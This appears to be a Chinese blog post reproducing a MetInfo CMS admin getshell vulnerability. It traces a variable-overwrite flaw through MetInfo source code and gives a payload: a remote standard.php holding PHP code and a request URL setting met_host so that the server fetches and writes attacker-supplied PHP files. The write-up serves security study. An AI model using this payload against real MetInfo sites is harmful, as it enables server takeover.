zoukankan      html  css  js  c++  java
  • Metlnfo cms后台getshell漏洞复现

    整体思路

    • 挖掘伪全局变量
    • 然后找可控参数进行利用#伪全局变量:可理解为全局变量,例部分CMS为了全局过滤SQL注入或者XSS之类的漏洞就会将GET、POST、COOKIE等请求借入全局然后直接过滤。这样就做到了全部统一过滤SQL、XSS等漏洞

    实例:

      参考链接:http://www.91ri.org/16663.html

    前言:

    • Metlnfo正是一个伪全局的CMS。
    • /admin/include/common.inc.php第24行即可看出Metlnfo是伪全局了。
    • 1 define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
      2 isset($_REQUEST['GLOBALS']) && exit('Access Error');
      3 require_once ROOTPATH.'include/global.func.php';
      4 foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
      5     foreach($$_request as $_key => $_value) {
      6         $_key{0} != '_' && $$_key = daddslashes($_value,0,0,1);
      7         $_M['form'][$_key] = daddslashes($_value,0,0,1);
      8     }
      9 }

      且如上的第6行还存在变量覆盖漏洞。(也就是说如果有什么危险的变量在没有被赋值的情况下可以使用这个漏洞去将其赋值)

    开始分析:

    漏洞文件:/admin/app/physical/physical.php

    1 $post=array('ver'=>$metcms_v,'app'=>$applist);
    2 $result=curl_post($post,60);
    3 if(link_error($result)==1){
    4     $results=explode('<Met>',$result);
    5     file_put_contents('dlappfile.php',$results[1]);
    6     file_put_contents('standard.php',$results[0].$results[1]);
    7 }

    如上代码所示,第5、6行中的file_put_contents中有两个参数,如果$results可控那么可能就可以造成远程文件写入的漏洞。那么我们追踪$results,因为$results是在curl_post函数中得到的,所以我们追踪这个函数。

    我将鼠标放至该函数便可追踪到其来源。有三个文件。

    1 /include/export.func.php
    2 app/system/include/class/curl.class.php
    3 install/index.php

    第二个跟第三个均未被包含在这个文件。那么我们就锁定在/include/export.func.php文件当中

     1 <?php
     2 # MetInfo Enterprise Content Management System 
     3 # Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved. 
     4 /*发送POST*/
     5 function curl_post($post,$timeout){
     6 global $met_weburl,$met_host,$met_file;
     7 $host=$met_host;
     8 $file=$met_file;
     9     if(get_extension_funcs('curl')&&function_exists('curl_init')&&function_exists('curl_setopt')&&function_exists('curl_exec')&&function_exists('curl_close')){
    10         $curlHandle=curl_init(); 
    11         curl_setopt($curlHandle,CURLOPT_URL,'http://'.$host.$file); 
    12         curl_setopt($curlHandle,CURLOPT_REFERER,$met_weburl);
    13         curl_setopt($curlHandle,CURLOPT_RETURNTRANSFER,1); 
    14         curl_setopt($curlHandle,CURLOPT_CONNECTTIMEOUT,$timeout);
    15         curl_setopt($curlHandle,CURLOPT_TIMEOUT,$timeout);
    16         curl_setopt($curlHandle,CURLOPT_POST, 1);    
    17         curl_setopt($curlHandle,CURLOPT_POSTFIELDS, $post);
    18         $result=curl_exec($curlHandle); 
    19         curl_close($curlHandle); 
    20     }

    第7行当中的$met_host并未赋值即为可控(无论是在export.func.php还是在physical.php当中)。$met_file在physical.php当中有进行赋值。(这两个变量是在export.func.php的第当中7、8有进行定义)

    所以得出$met_host可控,而$met_file不可控。

    回来看这个漏洞所在的地方。

    在122行必须要满足physical[11] == 1才能执行这个漏洞。那么看一下如何才能成立。

    往physical这个文件的开头看去终于找到了。

    当action为do的时候等于$physicaldo[11] == 1

    所以构造出payload为

    首先现在远程服务器上新建一个standard.php

    内容为:

     1 metinfo
     2  
     3 <Met>
     4  
     5 <?php
     6 echo "Joseph";
     7 ?>
     8  
     9 <Met>
    10 
    11 <?php
    12 echo "<?php phpinfo();?>";
    13 ?>

    physical.php?action=do?met_host=127.0.0.1

    漏洞还是挺鸡肋。不支持远程写入也是没法儿的。 


  • 相关阅读:
    PHP实现无限极分类
    html2canvas生成并下载图片
    一次线上问题引发的过程回顾和思考,以更换两台服务器结束
    Intellij IDEA启动项目报Command line is too long. Shorten command line for XXXApplication or also for
    mq 消费消息 与发送消息传参问题
    idea 创建不了 java 文件
    Java switch 中如何使用枚举?
    Collections排序
    在idea 设置 git 的用户名
    mongodb添加字段和创建自增主键
  • 原文地址:https://www.cnblogs.com/nul1/p/8806372.html
Copyright © 2011-2022 走看看